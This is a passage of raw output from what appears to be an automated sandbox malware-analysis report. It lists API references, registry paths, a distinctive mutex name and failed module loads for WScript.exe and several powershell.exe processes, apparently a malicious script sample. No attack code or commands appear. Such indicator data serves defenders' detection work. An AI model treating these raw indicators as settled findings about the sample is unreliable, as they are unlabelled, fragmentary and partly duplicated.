"GetCurrentProcess"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp")32:Tb80,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 42177-159-0010D560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 42177-194-00108190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 42177-194-00108190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 42177-194-00108190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 42177-196-0010BFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 42177-207-00108AF0 "\MACHINE\Software\MR5" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E579AB5F-1CC4-44B4" in Source: 00000000-00000868.00000000.235762.29D10000.00000004.mdmp 00000000-00000868.00000001.236285.29D10000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0c" in Source: 00000000-00000868.00000000.235762.29D10000.00000004.mdmp 00000000-00000868.00000001.236285.29D10000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00000868.00000000.235762.29D10000.00000004.mdmp 00000000-00000868.00000001.236285.29D10000.00000004.mdmp33:T903,Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7632:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:7632:120:WilError_01" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:7632:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:652:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:652:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:868:304:WilStaging_02" Process powershell.exe created mutex with name "NDICCUPLQAQ" Process powershell.exe created mutex with name "SM0:868:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\NDICCUPLQAQ" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1280:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:1280:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7652:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7652:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7652:64:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7652:64:WilError_01" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:7652:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7652:64:WilError_01" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex"34:T166d,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]35:T3dda,"\MACHINE\Software\MR5" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000652.00000000.235397.6C850000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E579AB5F-1CC4-44B4" in Source: 00000000-00000868.00000000.235762.29D10000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0c" in Source: 00000000-00000868.00000000.235762.29D10000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00000868.00000000.235762.29D10000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000868.00000000.235762.44120000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000868.00000000.235762.44120000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000868.00000000.235762.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000868.00000000.235762.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000868.00000000.235762.7F1AA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000868.00000000.235762.7F1AA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000868.00000000.235762.7F1AA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000868.00000000.235762.7F1AA000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00000868.00000000.235762.8E918000.00000002.mdmp "HKLM\" in Source: 00000000-00000868.00000000.235762.8E918000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00000868.00000000.235762.8E918000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000868.00000000.235762.8E918000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00000868.00000000.235762.8E918000.00000002.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E579AB5F-1CC4-44B4" in Source: 00000000-00000868.00000001.236285.29D10000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0c" in Source: 00000000-00000868.00000001.236285.29D10000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00000868.00000001.236285.29D10000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000868.00000001.236285.44120000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000868.00000001.236285.44120000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001280.00000000.235925.E1460000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001280.00000000.235925.E1460000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001280.00000000.235925.E1460000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001280.00000000.235925.E1460000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001280.00000000.235925.E36E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001280.00000000.235925.E36E0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001280.00000000.235925.FBDE0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001280.00000000.235925.FBDE0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001280.00000001.235932.E1460000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001280.00000001.235932.E1460000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001280.00000001.235932.E1460000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001280.00000001.235932.E1460000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001280.00000001.235932.E36E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001280.00000001.235932.E36E0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001280.00000001.235932.FBDE0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001280.00000001.235932.FBDE0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007652.00000000.236228.00101000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007652.00000000.236228.00101000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007652.00000000.236228.00101000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007652.00000000.236228.00101000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007652.00000000.236228.00101000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007652.00000000.236228.00101000.00000020.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007652.00000000.236228.02F00000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007652.00000000.236228.05230000.00000004.mdmp 